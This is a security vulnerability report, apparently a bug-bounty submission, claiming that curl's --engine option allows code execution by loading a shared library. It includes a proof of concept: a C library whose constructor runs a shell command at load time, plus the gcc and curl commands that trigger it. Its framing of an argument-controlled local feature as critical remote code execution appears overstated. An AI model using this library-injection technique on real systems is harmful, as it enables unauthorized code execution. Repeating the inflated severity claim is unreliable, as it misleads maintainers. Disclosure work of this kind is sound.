Title: Remote Code Execution (RCE) via Arbitrary Library Loading in `--engine` option

#### Summary: The `curl` command-line tool is vulnerable to Arbitrary Code Execution on POSIX-like systems (Linux, macOS, etc.). The `--engine` option allows loading an OpenSSL crypto engine from a shared library (`.so` file). Crucially, this option accepts an **absolute or relative path** to the library file, allowing a user to load any shared library on the file system. An attacker can craft a malicious shared library containing a `__attribute__((constructor))` function. This function is executed by the dynamic loader the moment the library is loaded into the `curl` process's memory, achieving immediate code execution, even before OpenSSL attempts to initialize it as an engine. This leads to direct RCE if an attacker can influence the arguments passed to a `curl` command, a common scenario in web application backends, CI/CD pipelines, and other automated scripts. *(Statement as per disclosure policy: This vulnerability was discovered and verified by me. An AI assistant was used to help structure and draft this report based on my findings and proof-of-concept.)* #### Affected version: I reproduced this on the following version, but it likely affects all versions that support the `--engine` option on POSIX systems with GCC/Clang compiled binaries. ``` ┌──(Dr4g0n㉿DESKTOP-2CIPGDF)-[~] └─$ curl -V curl 8.13.0 (x86_64-pc-linux-gnu) libcurl/8.13.0 OpenSSL/3.5.0 zlib/1.3.1 brotli/1.1.0 zstd/1.5.7 libidn2/2.3.8 libpsl/0.21.2 libssh2/1.11.1 nghttp2/1.64.0 nghttp3/1.8.0 librtmp/2.3 OpenLDAP/2.6.9 Release-Date: 2025-04-02, security patched: 8.13.0-5 Protocols: dict file ftp ftps gopher gophers http https imap imaps ipfs ipns ldap ldaps mqtt pop3 pop3s rtmp rtsp scp sftp smb smbs smtp smtps telnet tftp ws wss Features: alt-svc AsynchDNS brotli GSS-API HSTS HTTP2 HTTP3 HTTPS-proxy IDN IPv6 Kerberos Largefile libz NTLM PSL SPNEGO SSL threadsafe TLS-SRP UnixSockets zstd ``` #### Steps To Reproduce: These steps will demonstrate direct code execution on a WSL/Linux system. 1. **Step 1: Create the malicious payload.** Save the following C code as `evil_engine.c`. This code will execute `id > /tmp/RCE_VIA_ENGINE` the moment the library is loaded. ```c #include <stdlib.h> // This constructor function is executed automatically by the dynamic loader // as soon as the library is loaded into the process address space. __attribute__((constructor)) static void rce_init(void) { system("id > /tmp/RCE_VIA_ENGINE"); } ``` 2. **Step 2: Compile the payload into a shared library.** Use `gcc` to compile the C code into a shared object (`.so`) file. ```bash gcc -fPIC -shared -o evil_engine.so evil_engine.c ``` 3. **Step 3: Prepare for verification.** Ensure the proof file does not exist before the attack. ```bash rm -f /tmp/RCE_VIA_ENGINE ``` 4. **Step 4: Execute `curl` with the malicious engine.** Run any `curl` command, but use the `--engine` option to point to our malicious library. Note that we must provide an absolute path. ```bash curl --engine `pwd`/evil_engine.so https://example.com ``` *You will see an error message like `curl: (53) SSL Engine '...' not found`. This error is expected and irrelevant, as it occurs **after** our malicious code has already been executed by the constructor.* 5. **Step 5: Verify Code Execution.** Check the contents of the proof file. ```bash cat /tmp/RCE_VIA_ENGINE ``` The command will output the result of the `id` command, confirming that arbitrary code was executed successfully as the user who ran `curl`. #### Supporting Material/References: I have recorded a full video of the Proof of Concept: `PoC.mp4` ## Impact The security impact is **direct and critical Remote Code Execution**. An attacker who can control or influence the arguments passed to a `curl` command can achieve RCE on the underlying system. This completely bypasses any application-level security. Common attack scenarios include: * **Web Application Backends:** A web service that allows users to provide options for a `curl` command (e.g., in a "website checker" or "webhook tester" feature) would be vulnerable. An attacker could inject `--engine /path/to/payload.so` if they can also upload a file. * **CI/CD Pipelines & Scripts:** Automated scripts that build `curl` commands using variables from external, untrusted sources (like commit messages or API responses) could be tricked into loading a malicious engine. * **Social Engineering:** A developer or system administrator could be tricked into running a seemingly benign diagnostic command provided by an attacker, which includes the malicious `--engine` flag. The vulnerability stems from the `--engine` feature trusting a user-provided path without any validation or restriction to a secure, system-defined directory for crypto engines. This effectively turns the feature into a "load-and-run" primitive for arbitrary shared libraries.